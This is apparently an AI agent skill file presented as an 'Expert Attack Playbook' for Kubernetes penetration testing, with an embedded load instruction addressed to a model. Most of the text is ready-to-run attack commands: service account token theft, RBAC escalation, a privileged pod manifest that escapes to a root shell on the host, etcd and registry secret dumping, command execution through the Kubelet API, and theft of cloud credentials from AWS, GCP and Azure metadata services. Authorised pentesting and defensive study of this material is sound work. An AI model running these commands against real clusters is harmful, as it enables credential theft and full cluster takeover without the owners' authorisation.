--- name: kubernetes-pentesting description: >- Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets. --- # SKILL: Kubernetes Pentesting — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API. ## 0. RELATED ROUTING Before going deep, consider loading: - [container-escape-techniques](../container-escape-techniques/SKILL.md) for escaping from a compromised pod to the underlying node - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once on a node for escalating to root - [linux-lateral-movement](../linux-lateral-movement/SKILL.md) for pivoting between nodes - [linux-security-bypass](../linux-security-bypass/SKILL.md) when Pod Security Standards or seccomp profiles restrict your actions - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when exploiting SSRF to reach the K8s API or cloud metadata --- ## 1. K8S API SERVER ACCESS ### 1.1 Anonymous Access Check ```bash # Check if anonymous auth is enabled (default: limited in modern clusters) curl -sk https://APISERVER:6443/api/v1/namespaces curl -sk https://APISERVER:6443/version curl -sk https://APISERVER:6443/api curl -sk https://APISERVER:6443/apis # Common API server ports: # 6443 — secure API (default) # 8443 — alternative secure # 8080 — insecure API (legacy, no auth needed) ``` ### 1.2 Token-Based Authentication (from inside pod) ```bash TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) APISERVER="https://kubernetes.default.svc" curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $APISERVER/api/v1/namespaces/$NAMESPACE/pods ``` ### 1.3 Certificate / Kubeconfig Authentication ```bash # Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf, # /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces ``` --- ## 2. RBAC ENUMERATION ### 2.1 Self-Permission Check ```bash # What can I do? kubectl auth can-i --list kubectl auth can-i --list -n kube-system # Specific checks kubectl auth can-i create pods kubectl auth can-i create pods -n kube-system kubectl auth can-i get secrets kubectl auth can-i '*' '*' # Full cluster admin? # Via API (from inside pod): curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \ $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \ -H "Content-Type: application/json" \ -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}" ``` ### 2.2 Role and ClusterRole Enumeration ```bash kubectl get roles --all-namespaces && kubectl get clusterroles kubectl describe clusterrole CLUSTER_ROLE_NAME # Find overprivileged roles (wildcard verbs/resources): kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]' ``` ### 2.3 Dangerous RBAC Permissions | Permission | Risk | Escalation Path | |---|---|---| | `pods/exec` | **Critical** | Exec into any pod (access secrets, tokens) | | `pods` (create) | **Critical** | Create privileged pod → node access | | `secrets` (get/list) | **Critical** | Read all secrets including SA tokens | | `serviceaccounts/token` (create) | **Critical** | Generate token for any SA | | `nodes/proxy` | **High** | Proxy to Kubelet API | | `escalate` on roles | **Critical** | Grant yourself any permission | | `bind` on rolebindings | **Critical** | Bind any role to yourself | | `impersonate` | **Critical** | Impersonate any user/SA | --- ## 3. SERVICE ACCOUNT TOKEN ABUSE ### 3.1 Token Location and Decoding ```bash # Default mount point cat /var/run/secrets/kubernetes.io/serviceaccount/token # Decode JWT (no verification needed) TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool # Shows: namespace, service account name, expiry ``` ### 3.2 Escalation via Service Account ```bash # If SA has elevated permissions — dump secrets, create privileged pod: kubectl get secrets --all-namespaces kubectl apply -f - << 'EOF' apiVersion: v1 kind: Pod metadata: { name: privesc } spec: hostPID: true hostNetwork: true containers: - name: pwn image: alpine command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"] securityContext: { privileged: true } volumeMounts: [{ name: hostfs, mountPath: /host }] volumes: [{ name: hostfs, hostPath: { path: / }}] EOF ``` ### 3.3 Token Generation ```bash # If serviceaccounts/token create permission: kubectl create token admin-sa -n kube-system --duration=87600h ``` --- ## 4. ETCD DIRECT ACCESS ```bash # Check anonymous access (port 2379 on master nodes): curl -sk https://ETCD_IP:2379/version # With certs from master node (/etc/kubernetes/pki/etcd/): ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \ --cacert=ca.crt --cert=server.crt --key=server.key \ get / --prefix --keys-only | grep secrets # Dump specific secret: ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret ``` --- ## 5. POD ESCAPE TO NODE ### See [container-escape-techniques](../container-escape-techniques/SKILL.md) for detailed escape chains. Quick reference for K8s-specific vectors: | Vector | Requirement | Command | |---|---|---| | hostPID | `spec.hostPID: true` | `nsenter -t 1 -m -u -i -n -p -- bash` | | hostNetwork | `spec.hostNetwork: true` | Access node services (Kubelet, etcd) | | hostPath `/` | Volume mount of host root | `chroot /host bash` | | Privileged container | `securityContext.privileged: true` | Mount host disk / nsenter | --- ## 6. KUBELET API (Port 10250/10255) ```bash curl -sk https://NODE_IP:10250/pods # Anonymous access check # 10255 = read-only (legacy, HTTP) # Exec into pod via Kubelet (bypasses API server RBAC): curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id" # Read logs: curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME ``` --- ## 7. CLOUD-SPECIFIC ATTACKS ### 7.1 AWS EKS — IMDS Access ```bash # From inside a pod (if IMDSv1 or no hop limit enforced): curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Returns IAM role name, then: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME # Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token) # IMDSv2 (token required): IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/ # EKS-specific: IRSA (IAM Roles for Service Accounts) # Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token # Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE ``` ### 7.2 GCP GKE — Metadata API ```bash # GCE metadata server curl -s -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # Returns OAuth2 access token # List available scopes curl -s -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes # GKE Workload Identity (if configured): # The pod's SA is mapped to a GCP SA # Token automatically available for GCP API calls ``` ### 7.3 Azure AKS — Managed Identity ```bash # Azure IMDS curl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" # Returns Azure access token # AKS Pod Identity / Workload Identity # Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars env | grep AZURE ``` --- ## 8. ADMISSION WEBHOOK BYPASS | Strategy | Command/Method | |---|---| | Excluded namespace | `kubectl get validatingwebhookconfigurations -o yaml \| grep namespaceSelector` → use excluded NS | | failurePolicy: Ignore | If webhook server down → admission skipped | | Ephemeral containers | `kubectl debug POD -it --image=alpine` (may not be covered) | | Static pods | Place manifest in `/etc/kubernetes/manifests/` on node (bypasses API admission) | --- ## 9. CONTAINER REGISTRY ACCESS ```bash # Extract pull secrets (dockerconfigjson): kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]' # Pull + inspect images for hardcoded secrets: docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc ``` --- ## 10. NETWORK POLICY ENUMERATION & BYPASS ```bash kubectl get networkpolicies --all-namespaces # Find namespaces without policies (default allow-all): for ns in $(kubectl get ns -o name | cut -d/ -f2); do [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns" done ``` Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, `hostNetwork: true` bypasses pod network policies entirely. --- ## 11. TOOLS | Tool | Purpose | Command | |---|---|---| | **kubectl** | K8s API interaction | `kubectl auth can-i --list` | | **kube-hunter** | Automated K8s vulnerability scanning | `kube-hunter --remote TARGET` | | **peirates** | K8s pentesting from inside a pod | `./peirates` | | **kubesploit** | Post-exploitation framework for K8s | Agent-based C2 | | **CDK** | Container/K8s exploitation toolkit | `./cdk evaluate` | | **kubeletctl** | Interact with Kubelet API directly | `kubeletctl pods -s NODE_IP` | | **kubeaudit** | Cluster misconfiguration audit | `kubeaudit all` | --- ## 12. KUBERNETES PENTESTING DECISION TREE ``` Access to Kubernetes environment? │ ├── Inside a pod? │ ├── Read SA token → check RBAC permissions (§2.1) │ │ ├── Can create pods? → privileged pod escape (§3.2) │ │ ├── Can read secrets? → dump all secrets (§3.2) │ │ ├── Can exec into pods? → pivot to other pods │ │ └── Minimal permissions → try Kubelet API (§6) │ │ │ ├── Cloud environment? │ │ ├── AWS → check IMDS for IAM creds (§7.1) │ │ ├── GCP → check metadata for OAuth token (§7.2) │ │ └── Azure → check IMDS for managed identity (§7.3) │ │ │ └── Escape to node? → load container-escape-techniques │ ├── Access to node? │ ├── kubeconfig found? → full cluster access (§1.3) │ ├── etcd accessible? → dump all secrets (§4) │ ├── Kubelet cert/key? → API server access │ └── Static pod manifests? → create privileged static pod (§8) │ ├── External access only? │ ├── API server exposed? → anonymous/token check (§1) │ ├── Kubelet 10250 exposed? → direct pod exec (§6) │ ├── etcd 2379 exposed? → direct secret dump (§4) │ └── Dashboard/UI exposed? → authentication bypass │ ├── RBAC escalation path? │ ├── escalate/bind permissions? → grant cluster-admin (§2.3) │ ├── impersonate permission? → act as admin (§2.3) │ ├── serviceaccounts/token create? → mint admin token (§3.3) │ └── Overprivileged clusterrole? → abuse wildcards (§2.2) │ └── No direct escalation? ├── Enumerate network policies → find unprotected namespaces (§10) ├── Check admission webhooks → find bypass (§8) ├── Pull registry images → search for secrets (§9) └── Scan nodes for exposed services → Kubelet, etcd ```